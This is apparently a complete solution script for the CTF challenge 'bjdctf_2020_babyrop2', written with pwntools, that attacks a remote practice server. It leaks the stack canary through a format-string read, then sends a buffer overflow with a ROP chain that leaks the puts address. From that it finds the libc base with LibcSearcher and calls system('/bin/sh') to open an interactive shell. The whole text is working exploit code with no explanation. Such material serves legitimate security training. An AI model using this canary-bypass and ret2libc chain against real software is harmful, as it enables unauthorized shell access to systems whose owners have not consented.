```
from pwn import *
from LibcSearcher import *
context(log_level='debug')
elf = ELF('./bjdctf_2020_babyrop2')
#io = process('./bjdctf_2020_babyrop2')
io = remote('node4.buuoj.cn',29785)

voln = 0x400887
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x400993

io.recvuntil("I'll give u some gift to help u!")
payload = '%7$p'
io.sendline(payload)
io.recvuntil('0x')
canary = io.recv(16)
canary = int(canary,16)
print(canary)

io.recvuntil("Pull up your sword and tell me u story!")
payload = 'a'*0x18 + p64(canary)+'a'*8 + p64(pop_rdi) + p64(puts_got)+p64(puts_plt)+p64(voln)
io.sendline(payload)
puts_addr = io.recvuntil('\x7f')
puts_addr = puts_addr[1:]
puts_addr = u64(puts_addr.ljust(8,'\x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc.dump('system')+libc_base
string = libc.dump('str_bin_sh')+libc_base
payload = 'a'*0x18 + p64(canary) + 'a'*8 +p64(pop_rdi) + p64(string)+p64(system)+p64(voln)
io.sendline(payload)

io.interactive()
```